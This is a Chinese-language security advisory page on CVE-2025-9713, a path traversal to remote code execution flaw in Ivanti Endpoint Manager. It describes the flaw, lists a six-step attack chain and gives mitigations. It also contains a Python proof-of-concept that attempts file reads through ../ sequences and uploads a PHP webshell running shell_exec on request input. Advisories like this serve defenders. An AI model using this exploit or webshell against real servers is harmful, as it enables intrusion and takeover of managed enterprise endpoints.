IPBUF安全漏洞报告
English
CVE-2025-9713 CVSS 8.8 高危

CVE-2025-9713 Ivanti Endpoint Manager路径遍历导致远程代码执行漏洞

披露日期: 2025-10-13
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-9713
漏洞类型
路径遍历(Path Traversal)/ 远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Ivanti Endpoint Manager (EPM)

相关标签

路径遍历远程代码执行RCEPath TraversalIvantiEndpoint ManagerEPM高危漏洞未认证CVSS 8.8

漏洞概述

CVE-2025-9713是Ivanti Endpoint Manager(EPM)中存在的一个高危路径遍历漏洞,CVSS评分为8.8分。该漏洞允许远程未经认证的攻击者通过路径遍历技术实现远程代码执行(RCE),对系统安全构成严重威胁。Ivanti Endpoint Manager是Ivanti公司推出的一款企业级终端管理解决方案,广泛应用于各组织机构中用于集中管理终端设备、部署策略、分发软件等。该漏洞的利用需要用户交互,但攻击者无需拥有任何有效凭证即可发起攻击,攻击向量为网络传播,这意味着漏洞可以通过互联网被远程利用。漏洞影响Ivanti Endpoint Manager 2024 SU4之前的版本,Ivanti已于2025年10月发布安全公告并提供修复补丁。此漏洞的CVSS向量显示其对机密性、完整性和可用性均产生高影响,属于典型的关键基础设施类漏洞,可能导致企业网络被完全入侵、敏感数据泄露或业务系统中断。由于Ivanti EPM在企业环境中通常拥有高权限,一旦被利用,攻击者可以进一步横向移动,控制系统中的所有受管终端设备,造成灾难性后果。

技术细节

CVE-2025-9713是一个路径遍历(Path Traversal)漏洞,存在于Ivanti Endpoint Manager 2024 SU4之前的版本中。路径遍历漏洞通常发生在应用程序对用户输入的文件路径验证不充分的情况下,攻击者可以通过构造包含特殊字符(如../或..\)的恶意路径,绕过正常的安全检查,访问或操作预期目录之外的文件。在Ivanti EPM的上下文中,该漏洞允许远程未经认证的攻击者通过精心构造的HTTP请求,利用路径遍历技术访问服务器上的敏感文件或执行任意代码。攻击者无需任何认证凭证即可发起攻击,但需要目标用户进行某种形式的交互(如点击恶意链接或访问恶意网页)。漏洞利用成功后,攻击者可以在受影响的服务器上执行任意代码,从而完全控制Endpoint Manager服务器,进而管理所有连接到该服务器的企业终端设备。由于EPM通常以高权限运行(如SYSTEM权限),攻击者获得的权限级别极高,可执行的操作包括但不限于:部署恶意软件到所有受管终端、窃取敏感数据、修改系统配置、植入后门程序等。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等搜索引擎或网络扫描工具识别暴露在互联网上的Ivanti Endpoint Manager服务器,收集目标系统的版本信息和网络拓扑。
STEP 2
步骤2:构造恶意请求
攻击者精心构造包含路径遍历payload(如../序列)的HTTP请求,目标是绕过Ivanti EPM的文件路径验证机制,访问受限目录或上传恶意文件。
STEP 3
步骤3:诱导用户交互
由于漏洞利用需要用户交互,攻击者通过钓鱼邮件、恶意链接或社工手段诱导目标用户(如系统管理员)访问恶意页面或点击恶意链接,触发漏洞利用。
STEP 4
步骤4:路径遍历利用
成功触发后,攻击者利用路径遍历漏洞访问服务器上的敏感配置文件、凭证文件或上传恶意脚本(如webshell)到服务器可执行目录。
STEP 5
步骤5:远程代码执行
通过上传的webshell或直接利用路径遍历执行系统命令,攻击者在Ivanti EPM服务器上获得代码执行权限,通常以SYSTEM或高权限账户运行。
STEP 6
步骤6:横向移动与持久化
攻击者利用EPM的高权限管理所有受管终端,部署恶意软件到整个企业网络中的终端设备,建立持久化后门,窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9713 - Ivanti Endpoint Manager Path Traversal to RCE # Exploit concept for path traversal vulnerability in Ivanti EPM < 2024 SU4 import requests import sys TARGET_URL = "https://target-ivanti-epm.example.com" # Step 1: Path traversal payload to access sensitive files def path_traversal(target_url, traversal_path): """ Exploit path traversal to read arbitrary files from Ivanti EPM server """ # Common vulnerable endpoints in Ivanti EPM endpoints = [ "/ldms/loadfile", "/epm/fileupload", "/LANDesk/FileManagement/" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } for endpoint in endpoints: url = f"{target_url}{endpoint}" # Path traversal payload using ../ sequences payload = { "filename": traversal_path, "path": f"../../../..{traversal_path}" } try: response = requests.get(url, params=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Potential file read via {endpoint}") return response.text except Exception as e: continue return None # Step 2: Attempt RCE via path traversal + file upload def rce_via_traversal(target_url): """ Attempt RCE by uploading a webshell through path traversal """ # Webshell payload webshell = """<?php if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>""" # Traverse to web root traversal_upload_path = "../../../../inetpub/wwwroot/cmd.php" files = {'file': ('cmd.php', webshell, 'application/octet-stream')} data = {'upload_path': traversal_upload_path} upload_endpoints = [ "/ldms/upload", "/epm/uploadfile", "/FileUpload/UploadHandler.ashx" ] for endpoint in upload_endpoints: url = f"{target_url}{endpoint}" try: response = requests.post(url, files=files, data=data, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Upload attempted to {endpoint}") # Verify webshell verify = requests.get(f"{target_url}/cmd.php?cmd=whoami", verify=False, timeout=10) if verify.status_code == 200 and "nt authority" in verify.text.lower(): print(f"[+] RCE Confirmed! Running as: {verify.text.strip()}") return True except Exception as e: continue return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Targeting: {target}") print("[*] Attempting path traversal...") result = path_traversal(target, "/windows/win.ini") if result: print(f"[+] Path traversal successful") print("[*] Attempting RCE...") rce_via_traversal(target)

影响范围

Ivanti Endpoint Manager < 2024 SU4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Ivanti EPM管理控制台的网络访问,仅允许可信任的内部IP地址访问,将管理端口(如443端口)限制在管理网络内;2)在网络边界部署WAF,配置规则阻断包含路径遍历特征(如../、..\、URL编码的遍历序列等)的HTTP请求;3)监控EPM服务器的异常文件访问和进程创建活动,设置告警规则;4)对管理员账号启用多因素认证;5)暂时禁用不必要的远程管理功能;6)定期备份EPM配置和数据,以便在遭受攻击后能够快速恢复;7)密切监控Ivanti官方安全公告,在补丁可用后第一时间进行升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表